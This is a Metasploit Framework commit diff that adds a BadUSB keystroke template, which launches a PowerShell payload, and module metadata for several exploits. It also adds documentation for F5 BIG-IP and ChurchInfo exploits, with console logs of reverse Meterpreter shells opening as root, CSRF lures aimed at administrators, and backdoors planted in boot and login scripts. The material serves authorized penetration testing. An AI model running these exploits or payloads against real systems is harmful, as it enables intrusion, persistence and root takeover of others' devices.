Compare commits
39 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 0aa0884e26 | |||
| c9ba07e3a7 | |||
| 6350daf2d8 | |||
| 453cfc5939 | |||
| cbb50ed902 | |||
| cb8e023734 | |||
| 45391b1714 | |||
| b866917ee1 | |||
| 2265370c5f | |||
| 0af1f95f5a | |||
| 6446c1425b | |||
| 6c76fd7beb | |||
| 390e58958c | |||
| 28157b677b | |||
| 637ad5f809 | |||
| de8a396b3a | |||
| 651dd68439 | |||
| 2dbd2043ec | |||
| ad36f28ec1 | |||
| 234949bff8 | |||
| 8ca7550062 | |||
| 237eb904d4 | |||
| 713323f2cb | |||
| 85a6770973 | |||
| b9ecdb3bc2 | |||
| a33a313544 | |||
| 2f2708e3fd | |||
| 3d5708e3e6 | |||
| 8b30ff3dce | |||
| 29b7fa5336 | |||
| e43951158c | |||
| 20e1788d97 | |||
| 7dcf65d7c3 | |||
| 39da40e4b5 | |||
| 7ebf84c66b | |||
| 20e6c1b55e | |||
| d0e109b842 | |||
| 99e661cfcf | |||
| 4cda8a9d23 |
+1
-1
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.2.27)
|
||||
metasploit-framework (6.2.28)
|
||||
actionpack (~> 6.0)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
|
||||
+1
-1
@@ -70,7 +70,7 @@ memory_profiler, 1.0.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.5, "New BSD"
|
||||
metasploit-credential, 5.0.9, "New BSD"
|
||||
metasploit-framework, 6.2.27, "New BSD"
|
||||
metasploit-framework, 6.2.28, "New BSD"
|
||||
metasploit-model, 4.0.6, "New BSD"
|
||||
metasploit-payloads, 2.0.101, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.5, "New BSD"
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
REM Title: Metasploit Generated Payload
|
||||
REM Description: Opens a payload via powershell on the system
|
||||
REM Version: 1.0
|
||||
REM Open start menu
|
||||
REM We use cmd.exe since the powershell payload is likely too long for the run bar
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING cmd.exe
|
||||
DELAY 750
|
||||
ENTER
|
||||
DELAY 750
|
||||
STRING powershell.exe %{var_payload}
|
||||
DELAY 750
|
||||
ENTER
|
||||
@@ -45943,7 +45943,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-07-19 14:47:39 +0000",
|
||||
"mod_time": "2022-10-15 16:42:30 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/impacket/wmiexec.py",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/impacket/wmiexec",
|
||||
@@ -61839,6 +61839,125 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800": {
|
||||
"name": "F5 BIG-IP iControl Authenticated RCE via RPM Creator",
|
||||
"fullname": "exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-11-16",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module exploits a newline injection into an RPM .rpmspec file\n that permits authenticated users to remotely execute commands.\n\n Successful exploitation results in remote code execution\n as the root user.",
|
||||
"references": [
|
||||
"CVE-2022-41800",
|
||||
"URL-https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/",
|
||||
"URL-https://support.f5.com/csp/article/K97843387",
|
||||
"URL-https://support.f5.com/csp/article/K13325942"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Default"
|
||||
],
|
||||
"mod_time": "2022-11-23 10:42:07 +0000",
|
||||
"path": "/modules/exploits/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622": {
|
||||
"name": "F5 BIG-IP iControl CSRF File Write SOAP API",
|
||||
"fullname": "exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-11-16",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module exploits a cross-site request forgery (CSRF) vulnerability\n in F5 Big-IP's iControl interface to write an arbitrary file to the\n filesystem.\n\n While any file can be written to any location as root, the\n exploitability is limited by SELinux; the vast majority of writable\n locations are unavailable. By default, we write to a script that\n executes at reboot, which means the payload will execute the next time\n the server boots.\n\n An alternate target - Login - will add a backdoor that executes next\n time a user logs in interactively. This overwrites a file,\n but we restore it when we get a session\n\n Note that because this is a CSRF vulnerability, it starts a web\n server, but an authenticated administrator must visit the site, which\n redirects them to the target.",
|
||||
"references": [
|
||||
"CVE-2022-41622",
|
||||
"URL-https://github.com/rbowes-r7/refreshing-soap-exploit",
|
||||
"URL-https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/",
|
||||
"URL-https://support.f5.com/csp/article/K97843387",
|
||||
"URL-https://support.f5.com/csp/article/K94221585",
|
||||
"URL-https://support.f5.com/csp/article/K05403841"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Restart",
|
||||
"Login",
|
||||
"Custom"
|
||||
],
|
||||
"mod_time": "2022-11-18 16:18:25 +0000",
|
||||
"path": "/modules/exploits/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/flir_ax8_unauth_rce_cve_2022_37061": {
|
||||
"name": "FLIR AX8 unauthenticated RCE",
|
||||
"fullname": "exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061",
|
||||
@@ -83808,6 +83927,67 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/churchinfo_upload_exec": {
|
||||
"name": "ChurchInfo 1.2.13-1.3.0 Authenticated RCE",
|
||||
"fullname": "exploit/multi/http/churchinfo_upload_exec",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2021-10-30",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"m4lwhere <m4lwhere@protonmail.com>"
|
||||
],
|
||||
"description": "This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.\n By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the\n ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and\n then browsing to the location of the uploaded PHP file on the web server, arbitrary code\n execution as the web daemon user (e.g. www-data) can be achieved.",
|
||||
"references": [
|
||||
"URL-http://www.churchdb.org/",
|
||||
"URL-http://sourceforge.net/projects/churchinfo/",
|
||||
"CVE-2021-43258"
|
||||
],
|
||||
"platform": "PHP",
|
||||
"arch": "php",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic Targeting"
|
||||
],
|
||||
"mod_time": "2022-11-18 18:04:51 +0000",
|
||||
"path": "/modules/exploits/multi/http/churchinfo_upload_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/churchinfo_upload_exec",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"CRASH_SAFE"
|
||||
],
|
||||
"Reliability": [
|
||||
"REPEATABLE_SESSION"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ARTIFACTS_ON_DISK",
|
||||
"IOC_IN_LOGS"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/cisco_dcnm_upload": {
|
||||
"name": "Cisco Prime Data Center Network Manager Arbitrary File Upload",
|
||||
"fullname": "exploit/multi/http/cisco_dcnm_upload",
|
||||
@@ -205950,7 +206130,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-09 15:53:58 +0000",
|
||||
"mod_time": "2022-11-21 00:46:44 +0000",
|
||||
"path": "/modules/post/linux/gather/enum_network.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/enum_network",
|
||||
@@ -206003,7 +206183,7 @@
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_linux/gather/enum_psk": {
|
||||
"name": "Linux Gather 802-11-Wireless-Security Credentials",
|
||||
"name": "Linux Gather NetworkManager 802-11-Wireless-Security Credentials",
|
||||
"fullname": "post/linux/gather/enum_psk",
|
||||
"aliases": [
|
||||
|
||||
@@ -206014,7 +206194,7 @@
|
||||
"author": [
|
||||
"Cenk Kalpakoglu"
|
||||
],
|
||||
"description": "This module collects 802-11-Wireless-Security credentials such as\n Access-Point name and Pre-Shared-Key from your target CLIENT Linux\n machine using /etc/NetworkManager/system-connections/ files.\n The module gathers NetworkManager's plaintext \"psk\" information.",
|
||||
"description": "This module collects 802-11-Wireless-Security credentials such as\n Access-Point name and Pre-Shared-Key from Linux NetworkManager\n connection configuration files.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -206024,7 +206204,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-21 00:28:34 +0000",
|
||||
"path": "/modules/post/linux/gather/enum_psk.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/enum_psk",
|
||||
@@ -206032,6 +206212,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
@@ -206538,7 +206727,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-08-15 18:10:44 +0000",
|
||||
"mod_time": "2022-11-22 11:55:47 +0000",
|
||||
"path": "/modules/post/linux/gather/tor_hiddenservices.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/gather/tor_hiddenservices",
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerable application is F5 Big-IP version 17.0.0.1 and below. It can be
|
||||
downloaded as a VMWare image for free (you have to create an account) from
|
||||
https://downloads.f5.com. You can register for a free 30-day trial if you like,
|
||||
but it's not required to test this.
|
||||
|
||||
Boot the VM and set an admin password by logging in with the default credentials
|
||||
(admin / admin). You'll need that password.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start `msfconsole`
|
||||
3. Do: `use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800`
|
||||
4. Do `set RHOST <target>` / `set HttpUsername admin` / `set HttpPassword <thepasswordyouchose>`
|
||||
5. Do: `run`
|
||||
6. You should get a session
|
||||
|
||||
## Options
|
||||
|
||||
### `HttpUsername` / `HttpPassword`
|
||||
|
||||
The account to authorize as - requires console access. The `admin` account (which
|
||||
is the default `HttpUsername`) works great, if you have the password.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### F5 Big-IP 17.0.0.1
|
||||
|
||||
This should be the normal experience:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set RHOST 10.0.0.162
|
||||
RHOST => 10.0.0.162
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set LHOST 10.0.0.179
|
||||
LHOST => 10.0.0.179
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set HttpPassword iagotestbigip
|
||||
HttpPassword => mybigippassword
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[*] Creating an .rpmspec file on the target...
|
||||
[*] Created spec file: /var/config/rest/node/tmp/2fadbb5d-ed94-4b23-ba57-2f0d273d2bdc.spec
|
||||
[*] Building the RPM to trigger the payload...
|
||||
[*] Sending stage (40168 bytes) to 10.0.0.162
|
||||
[+] Deleted /var/config/rest/node/tmp/2fadbb5d-ed94-4b23-ba57-2f0d273d2bdc.spec
|
||||
[+] Deleted /var/config/rest/node/tmp/RPMS/noarch/wOXt3-4.1.3-0.8.6.noarch.rpm
|
||||
[*] Meterpreter session 2 opened (10.0.0.179:4444 -> 10.0.0.162:38556) at 2022-11-14 15:14:23 -0800
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
@@ -0,0 +1,217 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerable application is F5 Big-IP version 17.0.0.1 and below. It can be
|
||||
downloaded as a VMWare image for free (you have to create an account) from
|
||||
https://downloads.f5.com. You can register for a free 30-day trial if you like,
|
||||
but it's not required to test this.
|
||||
|
||||
Boot the VM and set an admin password by logging in with the default credentials
|
||||
(admin / admin). You'll need that password.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
This is a CSRF vuln, so it requires a browser in addition to msf:
|
||||
|
||||
1. Install the application
|
||||
2. Start `msfconsole`
|
||||
3. Do: `use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622`
|
||||
4. Do `set TARGET_HOST <target>` / `set LHOST <yourtest>`
|
||||
5. Do: `run`
|
||||
6. You should get a url such as: `http://10.0.0.179:8080/ddgjZO`
|
||||
7. Open a browser and visit that URL
|
||||
8. If you don't already have an HTTP Basic session, it'll ask for your credentials (the `admin` account from earlier works great)
|
||||
|
||||
## Options
|
||||
|
||||
### `TARGET_HOST` / `TARGET_URI` / `TARGET_SSL`
|
||||
|
||||
These are the target that the user will be redirected to
|
||||
|
||||
### `FILENAME`
|
||||
|
||||
If the `TARGET` is `2` (`Custom`), the file that will be overwritten with the payload
|
||||
|
||||
## Scenarios
|
||||
|
||||
### F5 Big-IP 17.0.0.1 - Target 0 (Restart)
|
||||
|
||||
Start the listener:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162
|
||||
TARGET_HOST => 10.0.0.162
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179
|
||||
LHOST => 10.0.0.179
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
|
||||
[*] Using URL: http://10.0.0.179:8080/LXsNzhG6zMdQ
|
||||
[*] Server started.
|
||||
```
|
||||
|
||||
Then, a legit user that has HTTP Basic authentication (or who can be tricked
|
||||
into performing HTTP Basic authentication) needs to visit that URL. When any
|
||||
user connects, they'll be redirected to the SOAP endpoint and you'll see:
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
|
||||
[*] Using URL: http://10.0.0.179:8080/LXsNzhG6zMdQ
|
||||
[*] Server started.
|
||||
|
||||
[... wait for a user to visit the URL ...]
|
||||
|
||||
[*] Redirecting the admin to overwrite /shared/f5_update_action; if successful, your session will come approximately 2 minutes after the target is rebooted
|
||||
```
|
||||
|
||||
We have no way to tell whether this was successful; however, if we already have
|
||||
access to the target (ie, if you're testing this), we can check if the file was
|
||||
successfully planted:
|
||||
|
||||
```
|
||||
[root@bigip:Active:Standalone] config # cat /shared/f5_update_action
|
||||
UpdateAction
|
||||
https://localhost/success`echo exec\(__import__\(\'base64\'\).b64decode[...]
|
||||
https://localhost/error
|
||||
0
|
||||
0
|
||||
0
|
||||
0
|
||||
```
|
||||
|
||||
The code planted there will activate at reboot. So, ...wait till the target
|
||||
reboots. Perhaps when they update! Again, if you have shell access, you can
|
||||
check the log file when it boots:
|
||||
|
||||
```
|
||||
[root@bigip:INOPERATIVE:] config # tail -f /var/log/f5_update_checker.out
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file found -- parsing
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file action: "UpdateAction"
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file success URL: "https://localhost/success`echo exec\(__import__\(\'base64\'\).b64decode[...]
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file failure URL: "https://localhost/error"
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess flag: "8"
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess slot: "0"
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnFailure flag: "0"
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: EM callback file rebootOnFailure slot: "0"
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: Executing EM action: UpdateAction
|
||||
[Mon Nov 14 15:26:02 2022] f5em_callback [INFO]: Sleeping for 2 minutes before first attempt.
|
||||
[...wait 2 minutes...]
|
||||
[Mon Nov 14 15:28:02 2022] f5em_callback [INFO]: Finished sleeping.
|
||||
[Mon Nov 14 15:28:02 2022] f5em_callback [INFO]: Attempting to connect to EM server: "https://localhost/success`echo exec\(__import__\(\'base64\'\).b64decode[...]
|
||||
```
|
||||
|
||||
And, on Metasploit:
|
||||
|
||||
```
|
||||
[*] Redirecting the admin to overwrite /shared/f5_update_action; if successful, your session will come approximately 2 minutes after the target is rebooted
|
||||
[...wait 2 minutes...]
|
||||
[*] Sending stage (40164 bytes) to 10.0.0.162
|
||||
[+] Deleted /var/log/f5_update_checker.out
|
||||
[*] Meterpreter session 1 opened (10.0.0.179:4444 -> 10.0.0.162:51388) at 2022-11-14 15:28:04 -0800
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
### F5 Big-IP 17.0.0.1 - Target 1 (Login)
|
||||
|
||||
This works similarly.. use the module, set the `TARGET_HOST`, and set the
|
||||
`TARGET` to `1`:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162
|
||||
TARGET_HOST => 10.0.0.162
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179
|
||||
LHOST => 10.0.0.179
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET 1
|
||||
TARGET => 1
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
|
||||
[*] Using URL: http://10.0.0.179:8080/ePg5ECHuVD
|
||||
[*] Server started.
|
||||
|
||||
[...wait for an authenticated user to click the link...]
|
||||
|
||||
[*] Redirecting the admin to overwrite /var/run/config/timeout.sh; if successful, your session will come the next time a user logs in interactively
|
||||
```
|
||||
|
||||
Once again, if you already have access, you can verify it worked:
|
||||
|
||||
```
|
||||
[root@bigip:Active:Standalone] config # cat /etc/profile.d/timeout.sh
|
||||
echo exec\(__import__\(\'base64\'\).b64decode[...]
|
||||
```
|
||||
|
||||
Then, when a user logs in (ie, `ssh root@<target>` or on the console), you get
|
||||
a session:
|
||||
|
||||
```
|
||||
[*] Redirecting the admin to overwrite /var/run/config/timeout.sh; if successful, your session will come the next time a user logs in interactively
|
||||
|
||||
[...wait for a user to log in..]
|
||||
|
||||
[*] Sending stage (40168 bytes) to 10.0.0.162
|
||||
[+] Deleted /var/run/config/timeout.sh
|
||||
[*] Meterpreter session 1 opened (10.0.0.179:4444 -> 10.0.0.162:43902) at 2022-11-14 15:32:26 -0800
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
### F5 Big-IP 17.0.0.1 - Target 2 (Custom)
|
||||
|
||||
Once again, set up the server:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET_HOST 10.0.0.162
|
||||
TARGET_HOST => 10.0.0.162
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set LHOST 10.0.0.179
|
||||
LHOST => 10.0.0.179
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set TARGET 2
|
||||
TARGET => 2
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > set FILENAME /tmp/testmsfmodule
|
||||
FILENAME => /tmp/testmsfmodule
|
||||
|
||||
msf6 exploit(linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622) > exploit
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[+] Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below
|
||||
[*] Using URL: http://10.0.0.179:8080/PLvOVjkiVvXX
|
||||
[*] Server started.
|
||||
|
||||
[...wait for an admin to visit that link...]
|
||||
|
||||
[*] Redirecting the admin to overwrite /tmp/testmsfmodule with the payload
|
||||
```
|
||||
|
||||
You can verify the file exists:
|
||||
|
||||
```
|
||||
# cat /tmp/testmsfmodule
|
||||
echo exec\(__import__\(\'base64\'\).b64decode[...]
|
||||
```
|
||||
|
||||
Note that while this is written by root, you're in a pretty strict SELinux
|
||||
context so most obvious attacks (like writing to /etc/profile.d, /root/.ssh,
|
||||
etc., won't work).
|
||||
@@ -19,6 +19,7 @@ For testing purposes, you can download a Github Enterprise image from the follow
|
||||
|
||||
This module was specifically tested against version 2.8.0, which can be downloaded here:
|
||||
|
||||
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
|
||||
[https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova](https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova)
|
||||
|
||||
Before you install the image, you must have a valid key. Start from here:
|
||||
|
||||
@@ -2,8 +2,9 @@
|
||||
|
||||
Download the vulnerable version of OVA or ISO file from following URL. I strongly suggest you to choose OVA.
|
||||
|
||||
[http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova](http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova)
|
||||
[http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso](http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso)
|
||||
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
|
||||
http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova
|
||||
http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
@@ -76,4 +77,4 @@ dns-nameservers 8.8.8.8
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
```
|
||||
```
|
||||
|
||||
@@ -9,6 +9,7 @@ performs remote code execution as root by abusing the *extract* function used in
|
||||
|
||||
### Testing Environment
|
||||
|
||||
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
|
||||
Setup [Unraid 6.8.0](https://s3.amazonaws.com/dnld.lime-technology.com/stable/unRAIDServer-6.8.0-x86_64.zip)
|
||||
according to the [UnRAID Getting Started](https://wiki.unraid.net/UnRAID_6/Getting_Started) guide.
|
||||
|
||||
|
||||
@@ -0,0 +1,164 @@
|
||||
## Vulnerable Application
|
||||
* Project Homepage: http://www.churchdb.org/
|
||||
* Project Download: https://sourceforge.net/projects/churchinfo/files/
|
||||
|
||||
ChurchInfo is an open source PHP application used to help churches manage systems and users of the church.
|
||||
There are various vulnerabilities in the ChurchInfo software which can be exploited by an
|
||||
attacker, however this module targets an authenticated remote code execution (RCE) vulnerability
|
||||
known as CVE-2021-43258 to execute code as the web daemon user (e.g. www-data).
|
||||
|
||||
ChurchInfo v1.2.13, v1.2.14, and v1.3.0 contain functionality to email users listed in the ChurchInfo database
|
||||
with attachments. When preparing the email, a draft of the attachment is saved into
|
||||
`/tmp_attach/`, which is a web accessible folder under the ChurchInfo web root. Before the email is sent,
|
||||
the attachment draft can be loaded in the application. By uploading a malicious PHP file
|
||||
as an attachment and then browsing to it on the web server, RCE can be achieved.
|
||||
|
||||
This vulnerability was assigned CVE-2021-43258. Version 1.3.0 was the latest version of ChurchInfo at the time
|
||||
of writing and there is presently no known patch for this issue.
|
||||
|
||||
### Installation
|
||||
Installation guides are available on the SourceForge site at https://sourceforge.net/projects/churchinfo/files/.
|
||||
|
||||
The following however is a quick and easy way to get most versions of ChurchInfo up and running using Docker,
|
||||
which should make it a lot easier to setup and also clean up once you are finished testing things out.
|
||||
|
||||
1. `wget https://master.dl.sourceforge.net/project/churchinfo/churchinfo/1.3.0/churchinfo-1.3.0.tar.gz`
|
||||
1. `tar -xvf churchinfo-1.3.0.tar.gz`
|
||||
1. `sudo docker run -i -t -p "9090:80" -v ${PWD}/churchinfo:/app mattrayner/lamp:0.8.0-1804-php7`.
|
||||
1. `sudo docker ps -a` and find the container ID that was created and which is now running.
|
||||
1. `sudo docker exec -it *container ID* /bin/bash`
|
||||
1. Inside the new prompt:
|
||||
1. `mysqladmin -u root -p create churchinfo` and press the ENTER key when prompted for the password.
|
||||
1. `cd /app/churchinfo/SQL`
|
||||
1. `mysql -u root -p churchinfo < Install.sql` and press the ENTER key when prompted for the password.
|
||||
1. `apt-get install nano` if you want to use Nano.
|
||||
1. `nano /app/churchinfo/Include/Config.php`.
|
||||
1. Set the `$sUSER` variable to `'root'`.
|
||||
1. Set the `$sPASSWORD` variable to `''`.
|
||||
1. Set the `$sRootPath` variable to `'/churchinfo'`. This should be default though.
|
||||
1. Set the `$URL[0]` to `http://localhost/churchinfo/Default.php`.
|
||||
1. Exit out of `nano` and run `/etc/init.d/apache2 restart`
|
||||
